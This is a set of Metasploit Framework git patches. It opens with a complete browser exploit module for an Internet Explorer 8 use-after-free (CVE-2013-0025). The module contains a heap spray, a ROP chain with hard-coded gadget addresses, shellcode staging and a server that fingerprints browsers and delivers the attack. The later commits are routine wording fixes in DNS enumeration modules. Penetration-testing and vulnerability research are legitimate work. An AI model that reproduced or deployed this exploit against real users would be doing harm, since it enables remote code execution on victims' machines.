Msf::Exploit::Remote - Rank = AverageRanking - - include Msf::Exploit::Remote::HttpServer::HTML - include Msf::Exploit::RopDb - - - def initialize(info={}) - super(update_info(info, - 'Name' => "Microsoft Internet Explorer SLayoutRun Use-After-Free", - 'Description' => %q{ - This module exploits a use-after-free vulnerability in Microsoft Internet Explorer - where a CParaElement node is released but a reference is still kept - in CDoc. This memory is reused when a CDoc relayout is performed. - }, - 'License' => MSF_LICENSE, - 'Author' => - [ - 'Scott Bell ', # Vulnerability discovery & Metasploit module - ], - 'References' => - [ - [ 'CVE', '2013-0025' ], - [ 'MSB', 'MS13-009' ], - [ 'URL', 'http://security-assessment.com/files/documents/advisory/ie_slayoutrun_uaf.pdf' ], - ], - 'Payload' => - { - 'BadChars' => "\x00", - 'Space' => 1024, - 'DisableNops' => true, - 'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff", - }, - 'DefaultOptions' => - { - 'InitialAutoRunScript' => 'migrate -f' - }, - 'Platform' => 'win', - 'Targets' => - [ - [ 'Automatic', {} ], - [ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => 0x5f4 } ] - ], - 'Privileged' => false, - 'DisclosureDate' => "Feb 13 2013", - 'DefaultTarget' => 0)) - - register_options( - [ - OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]) - ], self.class) - - end - - def get_target(agent) - #If the user is already specified by the user, we'll just use that - return target if target.name != 'Automatic' - - nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || '' - ie = agent.scan(/MSIE (\d)/).flatten[0] || '' - - ie_name = "IE #{ie}" - - case nt - when '5.1' - os_name = 'Windows XP SP3' - end - - targets.each do |t| - if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name)) - print_status("Target selected as: #{t.name}") - return t - end - end - - return nil - end - - def heap_spray(my_target, p) - js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch)) - js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch)) - - js = %Q| - - var heap_obj = new heapLib.ie(0x20000); - var code = unescape("#{js_code}"); - var nops = unescape("#{js_nops}"); - while (nops.length < 0x80000) nops += nops; - var offset = nops.substring(0, #{my_target['Offset']}); - var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length); - while (shellcode.length < 0x40000) shellcode += shellcode; - var block = shellcode.substring(0, (0x80000-6)/2); - heap_obj.gc(); - for (var i=1; i < 0x300; i++) { - heap_obj.alloc(block); - } - var overflow = nops.substring(0, 10); - - | - - js = heaplib(js, {:noobfu => true}) - - if datastore['OBFUSCATE'] - js = ::Rex::Exploitation::JSObfu.new(js) - js.obfuscate - - end - - return js - end - - def get_payload(t, cli) - code = payload.encoded - - # No rop. Just return the payload. - return code if t['Rop'].nil? - - # ROP chain generated by mona.py - See corelan.be - case t['Rop'] - when :msvcrt - print_status("Using msvcrt ROP") - rop_nops = [0x77c39f92].pack("V") * 11 # RETN - rop_payload = generate_rop_payload('msvcrt', "", {'target'=>'xp'}) - rop_payload << rop_nops - rop_payload << [0x77c364d5].pack("V") # POP EBP # RETN - rop_payload << [0x77c15ed5].pack("V") # XCHG EAX, ESP # RETN - rop_payload << [0x77c35459].pack("V") # PUSH ESP # RETN - rop_payload << [0x77c39f92].pack("V") # RETN - rop_payload << [0x0c0c0c8c].pack("V") # Shellcode offset - rop_payload << code - - end - - return rop_payload - end - - def this_resource - r = get_resource - return ( r == '/') ? '' : r - end - - def get_exploit(my_target, cli) - p = get_payload(my_target, cli) - js = heap_spray(my_target, p) - - - html = %Q| - - - - - - -

- - - | - - return html - end - - - def get_iframe - html = %Q| - - - - - - | - - return html - end - - - def on_request_uri(cli, request) - agent = request.headers['User-Agent'] - uri = request.uri - print_status("Requesting: #{uri}") - - my_target = get_target(agent) - # Avoid the attack if no suitable target found - if my_target.nil? - print_error("Browser not supported, sending 404: #{agent}") - send_not_found(cli) - return - end - - if uri =~ /#{@iframe_name}/ - html = get_exploit(my_target, cli) - html = html.gsub(/^\t\t/, '') - print_status("Sending HTML...") - else - html = get_iframe - print_status "Sending IFRAME..." - end - send_response(cli, html, {'Content-Type'=>'text/html'}) - - - end - - def exploit - @iframe_name = "#{Rex::Text.rand_text_alpha(5)}.html" - super - end -end +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = AverageRanking + + include Msf::Exploit::Remote::HttpServer::HTML + include Msf::Exploit::RopDb + + + def initialize(info={}) + super(update_info(info, + 'Name' => "Microsoft Internet Explorer SLayoutRun Use-After-Free", + 'Description' => %q{ + This module exploits a use-after-free vulnerability in Microsoft Internet Explorer + where a CParaElement node is released but a reference is still kept + in CDoc. This memory is reused when a CDoc relayout is performed. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Scott Bell ', # Vulnerability discovery & Metasploit module + ], + 'References' => + [ + [ 'CVE', '2013-0025' ], + [ 'MSB', 'MS13-009' ], + [ 'URL', 'http://security-assessment.com/files/documents/advisory/ie_slayoutrun_uaf.pdf' ], + ], + 'Payload' => + { + 'BadChars' => "\x00", + 'Space' => 1024, + 'DisableNops' => true, + 'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff", + }, + 'DefaultOptions' => + { + 'InitialAutoRunScript' => 'migrate -f' + }, + 'Platform' => 'win', + 'Targets' => + [ + [ 'Automatic', {} ], + [ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => 0x5f4 } ] + ], + 'Privileged' => false, + 'DisclosureDate' => "Feb 13 2013", + 'DefaultTarget' => 0)) + + register_options( + [ + OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]) + ], self.class) + + end + + def get_target(agent) + #If the user is already specified by the user, we'll just use that + return target if target.name != 'Automatic' + + nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || '' + ie = agent.scan(/MSIE (\d)/).flatten[0] || '' + + ie_name = "IE #{ie}" + + case nt + when '5.1' + os_name = 'Windows XP SP3' + end + + targets.each do |t| + if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name)) + print_status("Target selected as: #{t.name}") + return t + end + end + + return nil + end + + def heap_spray(my_target, p) + js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch)) + js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch)) + + js = %Q| + + var heap_obj = new heapLib.ie(0x20000); + var code = unescape("#{js_code}"); + var nops = unescape("#{js_nops}"); + while (nops.length < 0x80000) nops += nops; + var offset = nops.substring(0, #{my_target['Offset']}); + var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length); + while (shellcode.length < 0x40000) shellcode += shellcode; + var block = shellcode.substring(0, (0x80000-6)/2); + heap_obj.gc(); + for (var i=1; i < 0x300; i++) { + heap_obj.alloc(block); + } + var overflow = nops.substring(0, 10); + + | + + js = heaplib(js, {:noobfu => true}) + + if datastore['OBFUSCATE'] + js = ::Rex::Exploitation::JSObfu.new(js) + js.obfuscate + + end + + return js + end + + def get_payload(t, cli) + code = payload.encoded + + # No rop. Just return the payload. + return code if t['Rop'].nil? + + # ROP chain generated by mona.py - See corelan.be + case t['Rop'] + when :msvcrt + print_status("Using msvcrt ROP") + rop_nops = [0x77c39f92].pack("V") * 11 # RETN + rop_payload = generate_rop_payload('msvcrt', "", {'target'=>'xp'}) + rop_payload << rop_nops + rop_payload << [0x77c364d5].pack("V") # POP EBP # RETN + rop_payload << [0x77c15ed5].pack("V") # XCHG EAX, ESP # RETN + rop_payload << [0x77c35459].pack("V") # PUSH ESP # RETN + rop_payload << [0x77c39f92].pack("V") # RETN + rop_payload << [0x0c0c0c8c].pack("V") # Shellcode offset + rop_payload << code + + end + + return rop_payload + end + + def this_resource + r = get_resource + return ( r == '/') ? '' : r + end + + def get_exploit(my_target, cli) + p = get_payload(my_target, cli) + js = heap_spray(my_target, p) + + + html = %Q| + + + + + + +

+ + + | + + return html + end + + + def get_iframe + html = %Q| + + + + + + | + + return html + end + + + def on_request_uri(cli, request) + agent = request.headers['User-Agent'] + uri = request.uri + print_status("Requesting: #{uri}") + + my_target = get_target(agent) + # Avoid the attack if no suitable target found + if my_target.nil? + print_error("Browser not supported, sending 404: #{agent}") + send_not_found(cli) + return + end + + if uri =~ /#{@iframe_name}/ + html = get_exploit(my_target, cli) + html = html.gsub(/^\t\t/, '') + print_status("Sending HTML...") + else + html = get_iframe + print_status "Sending IFRAME..." + end + send_response(cli, html, {'Content-Type'=>'text/html'}) + + + end + + def exploit + @iframe_name = "#{Rex::Text.rand_text_alpha(5)}.html" + super + end +end From e8ccfae048f93948164bbc4d279397f502feaa8c Mon Sep 17 00:00:00 2001 From: Carlos Perez Date: Thu, 14 Feb 2013 15:38:17 -0400 Subject: [PATCH 086/341] Fix spelling problems --- modules/auxiliary/gather/dns_srv.rb | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/modules/auxiliary/gather/dns_srv.rb b/modules/auxiliary/gather/dns_srv.rb index 71f95c161d..eac4bbe214 100644 --- a/modules/auxiliary/gather/dns_srv.rb +++ b/modules/auxiliary/gather/dns_srv.rb @@ -16,7 +16,7 @@ class Metasploit3 < Msf::Auxiliary super(update_info(info, 'Name' => 'DNS Reverse Lookup', 'Description' => %q{ - This module enumerates common DNS Service Records. + The module enumerates common DNS Service Records. }, 'Author' => [ 'Carlos Perez ' ], 'License' => BSD_LICENSE @@ -24,14 +24,14 @@ class Metasploit3 < Msf::Auxiliary register_options( [ - OptString.new('DOMAIN', [ true, "The target domain name"]), - OptBool.new( 'ALL_NS', [ false, "Run against all Nameservers for the given domain",false]), + OptString.new('DOMAIN', [ true, "The target domain name."]), + OptBool.new( 'ALL_NS', [ false, "Run against all name servers for the given domain.",false]), ], self.class) register_advanced_options( [ - OptInt.new('RETRY', [ false, "Number of times to try to resolve a record if no response is received", 3]), - OptInt.new('RETRY_INTERVAL', [ false, "Number of seconds to wait before doing a retry", 4]), + OptInt.new('RETRY', [ false, "Number of times to try to resolve a record if no response is received.", 3]), + OptInt.new('RETRY_INTERVAL', [ false, "Number of seconds to wait before doing a retry.", 4]), ], self.class) end From 1872b137f5be2515dfe759a93d82934ed3e6aae7 Mon Sep 17 00:00:00 2001 From: Carlos Perez Date: Thu, 14 Feb 2013 15:41:17 -0400 Subject: [PATCH 087/341] Fix spelling problems --- modules/auxiliary/gather/dns_info.rb | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) diff --git a/modules/auxiliary/gather/dns_info.rb b/modules/auxiliary/gather/dns_info.rb index a6f0ff2b80..fd11a82a71 100644 --- a/modules/auxiliary/gather/dns_info.rb +++ b/modules/auxiliary/gather/dns_info.rb @@ -16,8 +16,8 @@ class Metasploit3 < Msf::Auxiliary super(update_info(info, 'Name' => 'DNS Base Information', 'Description' => %q{ - This module enumerates basic DNS information for a given Domain. Information - enumerated is A, AAAA, NS and MX Records for the given domain. + The module enumerates basic DNS information for a given domain. Information + enumerated is A, AAAA, NS and MX records for the given domain. }, 'Author' => [ 'Carlos Perez ' ], 'License' => BSD_LICENSE @@ -26,14 +26,14 @@ class Metasploit3 < Msf::Auxiliary register_options( [ OptString.new('DOMAIN', [ true, "The target domain name"]), - OptAddress.new('NS', [ false, "Specify the nameserver to use for queries, otherwise use the system DNS" ]), + OptAddress.new('NS', [ false, "Specify the name server to use for queries, otherwise use the system configured DNS Server is used." ]), ], self.class) register_advanced_options( [ - OptInt.new('RETRY', [ false, "Number of times to try to resolve a record if no response is received", 2]), - OptInt.new('RETRY_INTERVAL', [ false, "Number of seconds to wait before doing a retry", 2]), + OptInt.new('RETRY', [ false, "Number of tries to resolve a record if no response is received.", 2]), + OptInt.new('RETRY_INTERVAL', [ false, "Number of seconds to wait before doing a retry.", 2]), ], self.class) end @@ -98,9 +98,9 @@ class Metasploit3 < Msf::Auxiliary rendsub = rand(10000).to_s query = @res.query("#{rendsub}.#{target}", "A") if query.answer.length != 0 - print_status("This Domain has Wildcards Enabled!!") + print_status("This Domain has Wild-cards Enabled!!") query.answer.each do |rr| - print_status("Wildcard IP for #{rendsub}.#{target} is: #{rr.address.to_s}") if rr.class != Net::DNS::RR::CNAME + print_status("Wild-card IP for #{rendsub}.#{target} is: #{rr.address.to_s}") if rr.class != Net::DNS::RR::CNAME report_note(:host => datastore['DOMAIN'], :proto => 'UDP', :port => 53, @@ -228,7 +228,7 @@ class Metasploit3 < Msf::Auxiliary #--------------------------------------------------------------------------------- def switchdns() - print_status("Using DNS Server: #{datastore['NS']}") + print_status("Using DNS server: #{datastore['NS']}") @res.nameserver=(datastore['NS']) @nsinuse = datastore['NS'] end From 7f97ff271f9ffafb691d820b21ac2af9a7dcc7d3 Mon Sep 17 00:00:00 2001 From: Carlos Perez Date: Thu, 14 Feb 2013 15:44:32 -0400 Subject: [PATCH 088/341] Fix spelling problems --- modules/auxiliary/gather/dns_bruteforce.rb | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) diff --git a/modules/auxiliary/gather/dns_bruteforce.rb b/modules/auxiliary/gather/dns_bruteforce.rb index 070c32f0cc..99a5e30434 100644 --- a/modules/auxiliary/gather/dns_bruteforce.rb +++ b/modules/auxiliary/gather/dns_bruteforce.rb @@ -14,9 +14,9 @@ class Metasploit3 < Msf::Auxiliary def initialize(info = {}) super(update_info(info, - 'Name' => 'DNS Host and Subdomain Brutefoce Module', + 'Name' => 'DNS host and subdomain brutefoce module', 'Description' => %q{ - This module uses a dictionary to perform a bruteforce on Hostnames and Subdomains + The module uses a dictionary to perform a bruteforce on hostnames and subdomains available under a given domain. }, 'Author' => [ 'Carlos Perez ' ], @@ -26,7 +26,7 @@ class Metasploit3 < Msf::Auxiliary register_options( [ OptString.new('DOMAIN', [ true, "The target domain name"]), - OptAddress.new('NS', [ false, "Specify the nameserver to use for queries, otherwise use the system DNS" ]), + OptAddress.new('NS', [ false, "Specify the name server to use for queries, otherwise use the system DNS" ]), OptPath.new('WORDLIST', [ false, "Wordlist file for domain name brute force.", File.join(Msf::Config.install_root, "data", "wordlists", "namelist.txt")]), @@ -34,8 +34,8 @@ class Metasploit3 < Msf::Auxiliary register_advanced_options( [ - OptInt.new('RETRY', [ false, "Number of times to try to resolve a record if no response is received", 2]), - OptInt.new('RETRY_INTERVAL', [ false, "Number of seconds to wait before doing a retry", 2]), + OptInt.new('RETRY', [ false, "Number of tries to resolve a record if no response is received.", 2]), + OptInt.new('RETRY_INTERVAL', [ false, "Number of seconds to wait before doing a retry.", 2]), OptInt.new('THREADS', [ false, "Number of threads", 1]), ], self.class) end @@ -55,9 +55,9 @@ class Metasploit3 < Msf::Auxiliary rendsub = rand(10000).to_s query = @res.query("#{rendsub}.#{target}", "A") if query.answer.length != 0 - print_status("This Domain has Wildcards Enabled!!") + print_status("This Domain has wild-cards enabled!!") query.answer.each do |rr| - print_warning("Wildcard IP for #{rendsub}.#{target} is: #{rr.address.to_s}") if rr.class != Net::DNS::RR::CNAME + print_warning("Wild-card IP for #{rendsub}.#{target} is: #{rr.address.to_s}") if rr.class != Net::DNS::RR::CNAME end return true else @@ -101,7 +101,7 @@ class Metasploit3 < Msf::Auxiliary #--------------------------------------------------------------------------------- def switchdns() - print_status("Using DNS Server: #{datastore['NS']}") + print_status("Using DNS server: #{datastore['NS']}") @res.nameserver=(datastore['NS']) @nsinuse = datastore['NS'] end From a7d4f5ff4ad184a003856cffacc7b968018a64e5 Mon Sep 17 00:00:00 2001 From: Carlos Perez Date: Thu, 14 Feb 2013 15:46:36 -0400 Subject: [PATCH 089/341] Fix spelling problems --- modules/auxiliary/gather/dns_reverse_lookup.rb | 18 +++++++++--------- 1 file changed, 9 insertions(+), 9 deletions(-) diff --git a/modules/auxiliary/gather/dns_reverse_lookup.rb b/modules/auxiliary/gather/dns_reverse_lookup.rb index cc102b9235..28019c7332 100644 --- a/modules/auxiliary/gather/dns_reverse_lookup.rb +++ b/modules/auxiliary/gather/dns_reverse_lookup.rb @@ -14,9 +14,9 @@ class Metasploit3 < Msf::Auxiliary def initialize(info = {}) super(update_info(info, - 'Name' => 'DNS Reverse Lookup', + 'Name' => 'DNS reverse lookup', 'Description' => %q{ - This module performs a Reverse Lookup against a given IP Range. + The module performs a reverse rookup against a given IP range. }, 'Author' => [ 'Carlos Perez ' ], 'License' => BSD_LICENSE @@ -24,16 +24,16 @@ class Metasploit3 < Msf::Auxiliary register_options( [ - OptAddressRange.new('RANGE', [true, 'IP Range to perform reverse lookup against.', nil]), - OptAddress.new('NS', [ false, "Specify the nameserver to use for queries, otherwise use the system DNS" ]), + OptAddressRange.new('RANGE', [true, 'IP range to perform reverse lookup against.', nil]), + OptAddress.new('NS', [ false, "Specify the nameserver to use for queries, otherwise use the system DNS." ]), ], self.class) register_advanced_options( [ - OptInt.new('RETRY', [ false, "Number of times to try to resolve a record if no response is received", 2]), - OptInt.new('RETRY_INTERVAL', [ false, "Number of seconds to wait before doing a retry", 2]), - OptInt.new('THREADS', [ true, "Number of seconds to wait before doing a retry", 2]), + OptInt.new('RETRY', [ false, "Number of tries to resolve a record if no response is received.", 2]), + OptInt.new('RETRY_INTERVAL', [ false, "Number of seconds to wait before doing a retry.", 2]), + OptInt.new('THREADS', [ true, "Number of seconds to wait before doing a retry.", 2]), ], self.class) end @@ -55,7 +55,7 @@ class Metasploit3 < Msf::Auxiliary #------------------------------------------------------------------------------- def reverselkp(iprange) - print_status("Running Reverse Lookup against ip range #{iprange}") + print_status("Running reverse lookup against IP range #{iprange}") ar = Rex::Socket::RangeWalker.new(iprange) tl = [] while (true) @@ -93,7 +93,7 @@ class Metasploit3 < Msf::Auxiliary #--------------------------------------------------------------------------------- def switchdns() - print_status("Using DNS Server: #{datastore['NS']}") + print_status("Using DNS server: #{datastore['NS']}") @res.nameserver=(datastore['NS']) @nsinuse = datastore['NS'] end From 23320a5ddebd352937299b3b901886b6ee84966e Mon Sep 17 00:00:00 2001 From: Carlos Perez Date: Thu, 14 Feb 2013 15:48:11 -0400 Subject: [PATCH 090/341] Fix spelling problems --- modules/auxiliary/gather/dns_srv.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/gather/dns_srv.rb b/modules/auxiliary/gather/dns_srv.rb index eac4bbe214..b2eeb30287 100644 --- a/modules/auxiliary/gather/dns_srv.rb +++ b/modules/auxiliary/gather/dns_srv.rb @@ -14,9 +14,9 @@ class Metasploit3 < Msf::Auxiliary def initialize(info = {}) super(update_info(info, - 'Name' => 'DNS Reverse Lookup', + 'Name' => 'DNS service record lookup', 'Description' => %q{ - The module enumerates common DNS Service Records. + The module enumerates common DNS service records. }, 'Author' => [ 'Carlos Perez ' ], 'License' => BSD_LICENSE From 8a91f0d7ecc48ece4cfd3154972ec44ef4884ecb Mon Sep 17 00:00:00 2001 From: kernelsmith Date: Thu, 14 Feb 2013 14:04:45 -0600 Subject: [PATCH 091/341] rescue ENOENT as well --- modules/post/windows/gather/screen_spy.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/post/windows/gather/screen_spy.rb b/modules/post/windows/gather/screen_spy.rb index 7e03e2440e..5f1e1eb505 100644 --- a/modules/post/windows/gather/screen_spy.rb +++ b/modules/post/windows/gather/screen_spy.rb @@ -109,7 +109,7 @@ class Metasploit3 < Msf::Post end system(cmd) if cmd end - rescue IOError => e + rescue IOError, Errno::ENOENT => e print_error("Error storing screenshot: #{e.class} #{e} #{e.backtrace}") return end From 0b9d4d976fab6595cbf1381a8f3ef577a001944a Mon Sep 17 00:00:00 2001 From: Carlos Perez Date: Thu, 14 Feb 2013 21:44:31 -0400 Subject: [PATCH 092/341] more changes to description and name --- modules/auxiliary/gather/dns_srv.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/gather/dns_srv.rb b/modules/auxiliary/gather/dns_srv.rb index b2eeb30287..a80e864b20 100644 --- a/modules/auxiliary/gather/dns_srv.rb +++ b/modules/auxiliary/gather/dns_srv.rb @@ -14,9 +14,9 @@ class Metasploit3 < Msf::Auxiliary def initialize(info = {}) super(update_info(info, - 'Name' => 'DNS service record lookup', + 'Name' => 'DNS Common Service Record Enumeration', 'Description' => %q{ - The module enumerates common DNS service records. + This module enumerates common DNS service records. }, 'Author' => [ 'Carlos Perez ' ], 'License' => BSD_LICENSE From 1b8610042ad48b29098de6aa6ccfb73e8d46408b Mon Sep 17 00:00:00 2001 From: Carlos Perez Date: Thu, 14 Feb 2013 21:46:21 -0400 Subject: [PATCH 093/341] more changes to description and name --- modules/auxiliary/gather/dns_info.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/gather/dns_info.rb b/modules/auxiliary/gather/dns_info.rb index fd11a82a71..c036b2a95e 100644 --- a/modules/auxiliary/gather/dns_info.rb +++ b/modules/auxiliary/gather/dns_info.rb @@ -14,9 +14,9 @@ class Metasploit3 < Msf::Auxiliary def initialize(info = {}) super(update_info(info, - 'Name' => 'DNS Base Information', + 'Name' => 'DNS Basic Information', 'Description' => %q{ - The module enumerates basic DNS information for a given domain. Information + This module enumerates basic DNS information for a given domain. Information enumerated is A, AAAA, NS and MX records for the given domain. }, 'Author' => [ 'Carlos Perez ' ], From faf970cf1f4694483b0dabdcaaf7412ba97a9834 Mon Sep 17 00:00:00 2001 From: Carlos Perez Date: Thu, 14 Feb 2013 21:47:43 -0400 Subject: [PATCH 094/341] more changes to description and name --- modules/auxiliary/gather/dns_bruteforce.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/gather/dns_bruteforce.rb b/modules/auxiliary/gather/dns_bruteforce.rb index 99a5e30434..2372c93bbc 100644 --- a/modules/auxiliary/gather/dns_bruteforce.rb +++ b/modules/auxiliary/gather/dns_bruteforce.rb @@ -14,9 +14,9 @@ class Metasploit3 < Msf::Auxiliary def initialize(info = {}) super(update_info(info, - 'Name' => 'DNS host and subdomain brutefoce module', + 'Name' => 'DNS Host and Subdomain Brutefoce Module', 'Description' => %q{ - The module uses a dictionary to perform a bruteforce on hostnames and subdomains + This module uses a dictionary to perform a bruteforce on hostnames and subdomains available under a given domain. }, 'Author' => [ 'Carlos Perez ' ], From 7f7b4e5a97cfcd280ce130bc0862d4be57d85e65 Mon Sep 17 00:00:00 2001 From: Carlos Perez Date: Thu, 14 Feb 2013 21:49:57 -0400 Subject: [PATCH 095/341] more changes to description and name --- modules/auxiliary/gather/dns_reverse_lookup.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/gather/dns_reverse_lookup.rb b/modules/auxiliary/gather/dns_reverse_lookup.rb index 28019c7332..54de8d81bc 100644 --- a/modules/auxiliary/gather/dns_reverse_lookup.rb +++ b/modules/auxiliary/gather/dns_reverse_lookup.rb @@ -14,9 +14,9 @@ class Metasploit3 < Msf::Auxiliary def initialize(info = {}) super(update_info(info, - 'Name' => 'DNS reverse lookup', + 'Name' => 'DNS Reverse Lookup Enumeration Module', 'Description' => %q{ - The module performs a reverse rookup against a given IP range. + This module performs a reverse rookup against a given IP range. }, 'Author' => [ 'Carlos Perez ' ], 'License' => BSD_LICENSE From 1d64de6c11c31f5d17db6e73d95804cc7ed94f53 Mon Sep 17 00:00:00 2001 From: Carlos Perez Date: Thu, 14 Feb 2013 21:55:38 -0400 Subject: [PATCH 096/341] Typo word module does not go in the name. --- modules/auxiliary/gather/dns_reverse_lookup.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/gather/dns_reverse_lookup.rb b/modules/auxiliary/gather/dns_reverse_lookup.rb index 54de8d81bc..20826e56d8 100644 --- a/modules/auxiliary/gather/dns_reverse_lookup.rb +++ b/modules/auxiliary/gather/dns_reverse_lookup.rb @@ -14,7 +14,7 @@ class Metasploit3 < Msf::Auxiliary def initialize(info = {}) super(update_info(info, - 'Name' => 'DNS Reverse Lookup Enumeration Module', + 'Name' => 'DNS Reverse Lookup Enumeration', 'Description' => %q{ This module performs a reverse rookup against a given IP range. }, From bcd59aa8faae0d8d644a7410dc6da0a2197e8797 Mon Sep 17 00:00:00 2001 From: Carlos Perez Date: Thu, 14 Feb 2013 21:56:24 -0400 Subject: [PATCH 097/341] Typo word module does not go in the name. --- modules/auxiliary/gather/dns_bruteforce.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/gather/dns_bruteforce.rb b/modules/auxiliary/gather/dns_bruteforce.rb index 2372c93bbc..c41403f7e9 100644 --- a/modules/auxiliary/gather/dns_bruteforce.rb +++ b/modules/auxiliary/gather/dns_bruteforce.rb @@ -14,7 +14,7 @@ class Metasploit3 < Msf::Auxiliary def initialize(info = {}) super(update_info(info, - 'Name' => 'DNS Host and Subdomain Brutefoce Module', + 'Name' => 'DNS Host and Subdomain Brutefoce', 'Description' => %q{ This module uses a dictionary to perform a bruteforce on hostnames and subdomains available under a given domain. From 57e1d1baa5b3e4fe047ab5bd0c06067b400080c4 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 15 Feb 2013 12:03:08 +0100 Subject: [PATCH 098/341] cleanup for dns_info --- modules/auxiliary/gather/dns_info.rb | 185 +++++++++++++-------------- 1 file changed, 90 insertions(+), 95 deletions(-) diff --git a/modules/auxiliary/gather/dns_info.rb b/modules/auxiliary/gather/dns_info.rb index c036b2a95e..21c84de8ae 100644 --- a/modules/auxiliary/gather/dns_info.rb +++ b/modules/auxiliary/gather/dns_info.rb @@ -14,14 +14,16 @@ class Metasploit3 < Msf::Auxiliary def initialize(info = {}) super(update_info(info, - 'Name' => 'DNS Basic Information', - 'Description' => %q{ - This module enumerates basic DNS information for a given domain. Information - enumerated is A, AAAA, NS and MX records for the given domain. + 'Name' => 'DNS Basic Information Enumeration', + 'Description' => %q{ + This module enumerates basic DNS information for a given domain. The module + gets information regarding to A (addresses), AAAA (IPv6 addresses), NS (name + servers), SOA (start of authority) and MX (mail servers) records for a given + domain. In addition, this module retrieves information stored in TXT records. }, - 'Author' => [ 'Carlos Perez ' ], - 'License' => BSD_LICENSE - )) + 'Author' => [ 'Carlos Perez ' ], + 'License' => BSD_LICENSE + )) register_options( [ @@ -50,15 +52,15 @@ class Metasploit3 < Msf::Auxiliary end wildcard(datastore['DOMAIN']) - switchdns() if not datastore['NS'].nil? + switchdns() unless datastore['NS'].nil? or datastore['NS'].empty? get_ip(datastore['DOMAIN']).each do |r| - print_good("#{r[:host]} #{r[:address]} #{r[:type]}") + print_good("#{r[:host]} - Address #{r[:address]} found. Record type: #{r[:type]}") report_host(:host => r[:address]) end get_ns(datastore['DOMAIN']).each do |r| - print_good("#{r[:host]} #{r[:address]} #{r[:type]}") + print_good("#{datastore['DOMAIN']} - Name server #{r[:host]} (#{r[:address]}) found. Record type: #{r[:type]}") report_host(:host => r[:address], :name => r[:host]) report_service( :host => r[:address], @@ -69,12 +71,12 @@ class Metasploit3 < Msf::Auxiliary end get_soa(datastore['DOMAIN']).each do |r| - print_good("#{r[:host]} #{r[:address]} #{r[:type]}") + print_good("#{datastore['DOMAIN']} - #{r[:host]} (#{r[:address]}) found. Record type: #{r[:type]}") report_host(:host => r[:address], :name => r[:host]) end get_mx(datastore['DOMAIN']).each do |r| - print_good("#{r[:host]} #{r[:address]} #{r[:type]}") + print_good("#{datastore['DOMAIN']} - Mail server #{r[:host]} (#{r[:address]}) found. Record type: #{r[:type]}") report_host(:host => r[:address], :name => r[:host]) report_service( :host => r[:address], @@ -85,15 +87,17 @@ class Metasploit3 < Msf::Auxiliary end get_txt(datastore['DOMAIN']).each do |r| - report_note(:host => datastore['DOMAIN'], - :proto => 'UDP', - :port => 53, - :type => 'dns.info', - :data => {:text => r[:text]}) + print_good("#{datastore['DOMAIN']} - Text info found: #{r[:text]}. Record type: #{r[:type]}") + report_note( + :host => datastore['DOMAIN'], + :proto => 'udp', + :port => 53, + :type => 'dns.info', + :data => {:text => r[:text]} + ) end end - #--------------------------------------------------------------------------------- def wildcard(target) rendsub = rand(10000).to_s query = @res.query("#{rendsub}.#{target}", "A") @@ -101,11 +105,13 @@ class Metasploit3 < Msf::Auxiliary print_status("This Domain has Wild-cards Enabled!!") query.answer.each do |rr| print_status("Wild-card IP for #{rendsub}.#{target} is: #{rr.address.to_s}") if rr.class != Net::DNS::RR::CNAME - report_note(:host => datastore['DOMAIN'], - :proto => 'UDP', - :port => 53, - :type => 'dns.wildcard', - :data => "Wildcard IP for #{rendsub}.#{target} is: #{rr.address.to_s}") + report_note( + :host => datastore['DOMAIN'], + :proto => 'UDP', + :port => 53, + :type => 'dns.wildcard', + :data => "Wildcard IP for #{rendsub}.#{target} is: #{rr.address.to_s}" + ) end return true else @@ -113,11 +119,10 @@ class Metasploit3 < Msf::Auxiliary end end - #--------------------------------------------------------------------------------- def get_ip(host) results = [] query = @res.search(host, "A") - if (query) + if query query.answer.each do |rr| record = {} record[:host] = host @@ -127,7 +132,7 @@ class Metasploit3 < Msf::Auxiliary end end query1 = @res.search(host, "AAAA") - if (query1) + if query1 query1.answer.each do |rr| record = {} record[:host] = host @@ -139,94 +144,84 @@ class Metasploit3 < Msf::Auxiliary return results end - #--------------------------------------------------------------------------------- def get_ns(target) results = [] query = @res.query(target, "NS") - if (query) - (query.answer.select { |i| i.class == Net::DNS::RR::NS}).each do |rr| - get_ip(rr.nsdname).each do |r| - record = {} - record[:host] = rr.nsdname.gsub(/\.$/,'') - record[:type] = "NS" - 